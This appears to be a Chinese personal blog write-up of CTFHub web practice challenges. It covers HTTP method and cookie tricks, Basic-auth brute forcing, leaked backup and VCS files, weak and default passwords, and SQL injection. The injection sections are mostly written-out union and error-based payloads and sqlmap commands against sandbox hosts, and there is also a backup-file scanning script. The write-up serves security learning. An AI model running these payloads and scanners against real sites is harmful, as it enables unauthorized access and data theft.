最近一段时间一直在复习Web基础知识,光看生硬的知识点也无趣,就想着边刷题边复习吧,正好看到群里在推荐CTFHub这个平台,于是我就开始刷CTFHub技能树啦🎈
Web前置技能
HTTP协议
HTTP是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。 更多详细请看:HTTP教程
HTTP三个特征:无连接、媒体独立、无状态
HTTP九种请求方法:GET、POST 、HEAD、OPTIONS、PUT、PATCH、DELETE、TRACE、CONNECT
客户端HTTP请求消息:由请求行
、请求头部
、请求数据
组成。
一般格式 | 示例 |
---|---|
服务器HTTP响应消息:由状态行
、消息报头
和响应正文
组成。
HTTP状态码分类
分类 | 分类描述 |
---|---|
1** | 信息,服务器收到请求,需要请求者继续执行操作 |
2** | 成功,操作被成功接收并处理 |
3** | 重定向,需要进一步的操作以完成请求 |
4** | 客户端错误,请求包含语法错误或无法完成请求 |
5** | 服务器错误,服务器在处理请求的过程中发生了错误 |
状态码详情请看:https://www.runoob.com/http/http-status-codes.html)
请求方式
题目考点:HTTP Method
打开链接是一段话
HTTP Method is GET
Use CTF**B Method,I will give you flag.
Hint If you got [HTTP Method Not Allowed] Error,you should requests index.php
根据题目意思,需要你用CTF**B 方法请求 index.php来获取flag
注意:HTTP Method 是可以自定义的,并且区分大小写.
方法一:使用curl
curl -v -X CTFHUB http://challenge-53da4bfe747dae4b.sandbox.ctfhub.com:10080/index.php
curl用法请参考:https://jwt1399.top/posts/49445.html#toc-heading-46
方法二:使用Burp抓包修改请求方式后,再发包
302跳转
题目考点:HTTP状态码
状态码3**,代表重定向
状态码 | 状态码英文名称 | 中文描述 |
---|---|---|
302 | Found | 临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI |
更多状态码详情请看:https://www.runoob.com/http/http-status-codes.html)
用浏览器访问index.php发现会302跳转到 index.html
方法一:使用curl
curl -v CTFHUB http://challenge-45da4bfe747dae4b.sandbox.ctfhub.com:10080/index.php
方法二:使用Burp抓包
扩展知识:重定向和请求转发
HTTP中的重定向和请求转发的区别:转发是服务器行为,重定向是客户端行为。
转发过程:
客户浏览器发送HTTP请求➡➡➡Web服务器接受请求➡➡➡调用内部方法在容器内部完成请求处理和转发动作➡➡➡将目标资源发送给客户
重定向过程:
客户浏览器发送HTTP请求➡➡➡web服务器接受发送302状态码响应及对应新的location给客户浏览器➡➡➡客户浏览器发现是302响应,则自动再发送一个新的HTTP请求,请求url是新的location地址➡➡➡服务器根据此请求寻找资源并发送给客户
Cookie
题目考点:Cookie欺骗、认证、伪造
cookie是由后端服务器端创建保存在客服端一种数据库结构。浏览器请求和后端服务端响应都会携带创建的cookie来回传输。cookie在传输时存储在请求头和响应头中。
打开链接,显示一句话
hello guest. only admin can get flag.
Burp 抓包发现Cookie:admin=0,把0改为1重新发包,就得到flag了
扩展知识:cookie和session
cookie和session的区别:cookie是存在于客户端的,而session是存在于服务器端的
cookie:
web服务所使用的HTTP服务是无状态的。这就意味着,服务器无法分辨收到的请求是属于哪一个用户的,需要通过cookie来对用户的身份进行标识了,用户每次对服务器发起请求时,都带上自己独有的cookie,服务器通过读取cookie信息,识别用户。
session:
session和cookie的作用有点类似,都是为了存储用户相关的信息。存储在服务器的数据会更加的安全,不容易被窃取。但存储在服务器也有一定的弊端,就是会占用服务器的资源。
基础认证
题目考点:HTTP 基础认证、爆破
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
HTTP基本认证的过程:
①请求:
客户端发送HTTP Request
给服务器
②质询:
因为request中没有包含Authorization header或者错误包含, 服务器会返回一个401 Unauthozied
给客户端,并且在Response
的 header “WWW-Authenticate
“ 中添加信息。
③授权:
客户端输入用户名和密码并用base64加密后,放在Authorization header
中发送给服务器。
④成功:
服务器将Authorization header
中的用户名密码取出,进行验证, 如果验证通过,将根据请求,发送资源给客户端
打开链接 | 点击click,需要用户名和密码 |
---|---|
随便输个账号密码(账号jwt 密码 123),使用BurpSuite 抓包
①请求:
发送HTTP Request
给服务器
②质询:
因为request中错误包含Authorization header, 服务器会返回一个401 Unauthozied
给客户端,并且在Response
的 header “WWW-Authenticate
“ 中添加信息。
得到提示 Do u konw admin ?
,于是猜测账号是 admin
, 应该就是HTTP 请求头部的 Authorization 字段中的账号密码错误,需要我们爆破,题目也给了字典
Authorization: Basic and0OjEyMw==
Basic表示是「基础认证」, 后面的 and0OjEyMw== 用 base64 解码后是 jwt:123 , 也就是我们之前输入的账号和密码
根据提示,容易猜测用户名为 admin ,那么 Authorization 头字段的格式就应该为
Authorization: Basic base64(admin:密码)
③授权:
客户端输入用户名和密码并用base64加密后,放在Authorization header
中发送给服务器。
1.将报文发送到 Intruder
, 将 Basic
后面 base64
部分添加为 payload position
2.在 有效载荷
选项卡下,选择 有效载荷集
为 运行时文件
, 然后在 有效载荷
中点击 文件选择
加载密码字典
3.有效负载处理->
添加->
添加前缀->
输入 admin:
4.有效负载处理->
添加->
编码->
Base64编码
5.有效载荷编码
取消勾选的 URL编码这些字符
, 不取消的话 base64 之后的 =
会被转成 %3d
,这样就爆不出密码
6.点击开始攻击
,然后点击 状态
排序,看到状态码出现 200 的,即爆破成功
7.查看 Response
得到 flag
响应包源代码
题目考点:HTTP响应包源代码查看
1.打开题目,发现界面为一贪吃蛇小游戏界面,根据题目提示,应该与响应包有关
2.F12审查元素,直接在响应包中发现flag
信息泄露
目录遍历
打开网站,提示点击寻找flag,之后会跳转到flag_in_here
这个目录,挨个对里面的目录进行寻找,就能找到flag
PHPINFO
打开题目之后提示让点击查看phpinfo,然后Ctrl+F搜索flag,就找到了
备份文件下载
网站备份
常见的网站源码备份文件名
list1 = [‘web’, ‘website’, ‘backup’, ‘back’, ‘www’, ‘wwwroot’, ‘temp’]
常见的网站源码备份文件后缀
list2 = [‘tar’, ‘tar.gz’, ‘zip’, ‘rar’]
#python3
import requests
# url1为被扫描地址,后不加‘/’
url1 = 'http://challenge-3d8be6a2b5195774.sandbox.ctfhub.com:10080'
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url2 = str(url1) + '/' + back
print(back + ' ', end='')
print(len(requests.get(url2).text))
对常见的备份文件进行扫描,发现存在www.zip
,解压得到的txt中发现flag
bak文件
xxx.bak为备份文件
curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.index.php.bak
Vim缓存
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为.index.php.swp
再次意外退出后,将会产生名为.index.php.swo
的交换文件
第三次产生的交换文件则为.index.php.swn
curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.index.php.swp
.DS_Store
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。
方法一–用curl直接查看
curl http://challenge-c86ab07eaf0058b1.sandbox.ctfhub.com:10080/.DS_Store --output a.txt
查看a.txt发现有个3ca5353db1943cc0e1e108d40d5fbb99.txt,查看该txt得到flag
方法二–利用工具解析
详情看我另外一篇文章:.DS_Store文件泄漏利用脚本
Git泄露
当前大量开发人员使用
git
进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。工具:GitHack
Git常见的利用:
①.git/index中会缓存git add的文件,这里在没有commit的情况下,也是存在的
②.git/refs/heads/master 记录了master的commit的hash,由此可以解析出这个commit的所有文件
③.git/logs/HEAD其中存储了git的log信息,可以找到历史的commit项
④.git/refs/stash 工作进度的临时保存
⑤.git/info/packs packs文件提取恢复
Log
1.使用dirsearch工具扫描网站目录,发现git泄露.git/logs/HEAD,在git中是存储历史记录的
python3 dirsearch.py -u "http://challenge-89c367ed8802f5e5.sandbox.ctfhub.com:10080" -e *
2.使用GitHack工具克隆目标源代码到本地
python GitHack.py http://challenge-89c367ed8802f5e5.sandbox.ctfhub.com:10080/.git/
3.执行git log
查看commit历史记录 可以看到当前版本是remove flag,我们要的flag在add flag中
4.方法1:使用git diff
直接与 add flag (e2f0)
这次提交进行差异比对
5.方法2:使用git reset --hard <file>
直接切换到 add flag (e2f0)
这个版本
Stash
Stash:能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录。
1.使用dirsearch扫描网站目录,发现git泄露.git/refs/stash
,在git中是暂存区的意思
python3 dirsearch.py -u "http://challenge-ba5511373d69c409.sandbox.ctfhub.com:10080/" -e *
2.使用GitHack克隆目标源代码到本地
python GitHack.py http://challenge-ba5511373d69c409.sandbox.ctfhub.com:10080//.git/
3.方法一:使用git stash list
显示保存进度的列表,发现有 stash
使用git stash pop
恢复最新的进度到工作区,这个文件的内容就是 flag
4.方法二:查看 .git/refs/stash
找到 stash
对应的 hash
,使用git diff b59e90
即可看到 flag
Index
还是先使用GitHack克隆目标源代码到本地,因为题目是index,所以考虑git的index暂存区文件,打开克隆好的文件夹发现flag
SVN泄露
当开发人员使用
SVN
进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。工具:dvcs-ripper
1.使用dirsearch
扫描发现有 .svn/
目录,确认是 .svn
泄露。
python3 dirsearch.py -u "http://challenge-8df627014df49067.san dbox.ctfhub.com:10080/" -e *
2.使用 dvcs-ripper
工具中的 rip-svn.pl
脚本进行 clone.
cd dvcs-ripper
perl rip-svn.pl -v -u http://challenge-8df627014df49067.sandbox.ctfhub.com:10080/.svn/
3.进入.svn/pristine/
文件夹下, 在bf
文件夹下发现xxx.svn-base
源码文件,查看得到flag
HG泄露
当开发人员使用
Mercurial
进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。dvcs-ripper
1.使用dirsearch
扫描发现有 .hg/
目录,确认是 .hg
泄露。
python3 dirsearch.py -u "http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/" -e *
2.使用 dvcs-ripper
工具中的 rip-svn.pl
脚本进行 clone.
cd dvcs-ripper
perl rip-hg.pl -v -u http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/.hg/
3.查看.hg/store/fncache
,得到flag 的文件名为flag_849825983.txt
,直接访问即可得 flag
cat .hg/store/fncache
curl http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/flag_849825983.txt
或者
curl http://challenge-a6460a92a6b0ee37.sandbox.ctfhub.com:10080/.hg/store/data/flag_849825983.txt.i
参考:常见Web源码泄露总结
密码口令
弱口令
通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
打开链接是一个后台登录页面,直接Burp抓包,猜测用户名为admin,使用Intruder模块进行密码爆破,得到密码为password,登录即可得到flag
默认口令
打开页面后,发现是亿邮邮件网关,经百度查询亿邮邮件网关系统默认口令,直接查到账户和密码,登录即可得到flag
SQL注入
整数型注入
#查看页面变化,判断sql注入类别【为数字型注入】
1
#确定字段数【字段数为2】
1 order by 1
1 order by 2
1 order by 3
#确定字段顺序
1 union select 1,2
#爆数据库名【sqli】
-1 union select 1,database()
#爆表名【news,flag】
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
#爆列名【flag】
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
#爆值
-1 union select 1,flag from flag
字符型注入
#查看页面变化,判断sql注入类别【为字符型注入】
1
#确定字段数【字段数为2】
1' order by 1 #
1' order by 2 #
1' order by 3 #
#确定字段顺序
-1' union select 1,2 #
#爆数据库名【sqli】
-1' union select 1,database() #
或者将#改为--空格
#爆表名【news,flag】
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #
#爆列名【flag】
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
#爆值
-1' union select 1,flag from flag #
报错注入
#查看页面变化,判断sql注入类别【为数字型注入】
1
#确定字段数【字段数为2】
1 order by 1
1 order by 2
1 order by 3 报错
#获取数据库名【Duplicate entry 'sqli-1' for key 'group_key'】注意:有可能要多查几次才能成功
-1 union select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a
#获取表名【 Duplicate entry 'flag-1' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='sqli' limit 1,1),floor(rand()*2))as a from information_schema.tables group by a
#因为Subquery returns more than 1 row,所以用limit来控制输出,连接函数也不管用
-1 union select count(*),concat_ws('-',(select concat(table_name) from information_schema.tables where table_schema='sqli'),floor(rand()*2))as a from information_schema.tables group by a
#获取列名【Duplicate entry 'flag-0' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select column_name from information_schema.columns where table_name='flag'limit 0,1),floor(rand()*2))as a from information_schema.tables group by a
#爆值【Duplicate entry 'ctfhub{64d51cbcc3eb2513447c46282c921601c14da36b}-1' for key 'group_key'】
-1 union select count(*),concat_ws('-',(select flag from flag limit 0,1),floor(rand()*2))as a from information_schema.tables group by a
布尔盲注
直接使用sqlmap工具跑
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,B、T、E、U、S
--threads 10 :设置线程为10,运行速度会更快
--dbms:不仅可以指定数据库类型,还可以指定数据库版本
#查询数据库 #【sqli】
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T --dbs --batch --threads 10 --dbms=mysql
#获取数据库中的表 #【flag】
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli --tables --batch --threads 10 --dbms=mysql
#获取表中的字段名 #【flag】
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli -T flag --columns --batch --threads 10 --dbms=mysql
#获取字段信息
python sqlmap.py -u http://challenge-0107480d29208db9.sandbox.ctfhub.com:10080/?id=1 --technique T -D sqli -T flag -C flag --dump --batch --threads 10 --dbms=mysql
#--technique使用参数B跑不出来,改成T才跑出来
时间盲注
赞助💰
如果你觉得对你有帮助,你可以请我喝一杯冰可乐!嘻嘻🤭
支付宝支付 | 微信支付 |